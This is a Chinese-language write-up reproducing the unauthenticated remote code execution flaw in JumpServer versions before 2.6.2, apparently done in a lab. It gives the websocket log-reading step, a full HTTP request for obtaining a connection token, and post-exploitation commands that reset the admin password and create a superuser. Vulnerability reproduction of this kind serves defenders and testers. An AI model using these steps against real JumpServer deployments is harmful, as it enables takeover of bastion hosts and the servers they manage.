JumpServer v2.6.1 RCE(远程代码执行) 复现总结
简介
JumpServer 是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。
概述
2021年1月15日,JumpServer 发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。
影响版本
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
环境搭建
安装脚本V2.6.1
https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
github 安装脚本全部是安装最新版的。
安装的时候前几个记得是 no
安装完后进入提示的目录运行脚本./jmsctl.sh start
访问 8080 端口进入 jumpserver
admin:admin 进入控制面板
创建一个管理用户,因为后面登录 ssh 是用管理用户的密码登陆的
创建一个系统用户
创建一个资产,否则利用不会成功的
对资产进行授权
进入 web 终端,连接成功即可
漏洞复现
我们手工复现可以用以下浏览器插件测试
https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related
我们可以连接ws://youtip:8080/ws/ops/tasks/log
进行测试
发送{"task":"/opt/jumpserver/logs/jumpserver"}
查看日志,可以找到 task id,发送{"task":"33xxxxx"}
查看详细信息,但是好像没什么用。
我们可以读取的日志有以下内容
这里我们要查看/opt/jumpserver/logs/gunicorn
找到 asset_id、system_id、user_id 等三个值
如果读到了这三个字段,可以利用/api/v1/users/connection-token/
拿到一个 20 秒的 token,使用这个 token 就可以连接 runTTY 执行命令了
我们发送以下数据包获得 token
POST DATE
POST /api/v1/authentication/connection-token/?user-only=None HTTP/1.1
Host: 192.168.111.162:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.111.162:8080/ui/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=utf-8
Cookie: csrftoken=D2llrglPXZv8UdXByih2JuEwTtlq22rZAHEmXBdiDxbKMEqfjuN8ZkZJZaen7ikd; sessionid=lpum8cx9ggcpu72omon0a65vbqb4cvc5
Connection: close
Content-Length: 150
{"user": "aff77afe-820c-45c4-b1de-bcbcd320fbeb", "asset":"ae2fd918-ec9b-4900-b864-36d60b46f51a", "system_user":"715e93c0-8a50-4318-8310-4ffd5ae88abc"}
试一下连接 ws,连接成功
脚本自动利用
我们可以用脚本会更方便,先读取日志获取三个值
更改一下脚本里的三个值,运行脚本即可获取 shell
后续
拿到权限后可以用以下命令修改 jumpserver 密码
# 管理密码忘记了或者重置管理员密码
$ source /opt/py3/bin/activate
$ cd /opt/jumpserver/apps
$ python manage.py changepassword <user_name>
# 新建超级用户的命令如下命令
$ python manage.py createsuperuser --username=user --email=user@domain.com
# 登陆提示密码过期可以直接点击忘记密码, 通过邮箱重置; 如果未设置邮箱, 通过以下代码重置
$ source /opt/py3/bin/activate
$ cd /opt/jumpserver/apps
$ python manage.py shell
> from users.models import User
> u = User.objects.get(username='admin') # admin 为你要修改的用户
> u.reset_password('password') # password 为你要修改的密码
> u.save()
或者
> u = User.objects.create(username='admin') # 创建新的用户
快速安装脚本/POC&EXP
参考
https://www.o2oxy.cn/2921.html
https://blog.riskivy.com/jumpserver-从信息泄露到远程代码执行漏洞分析/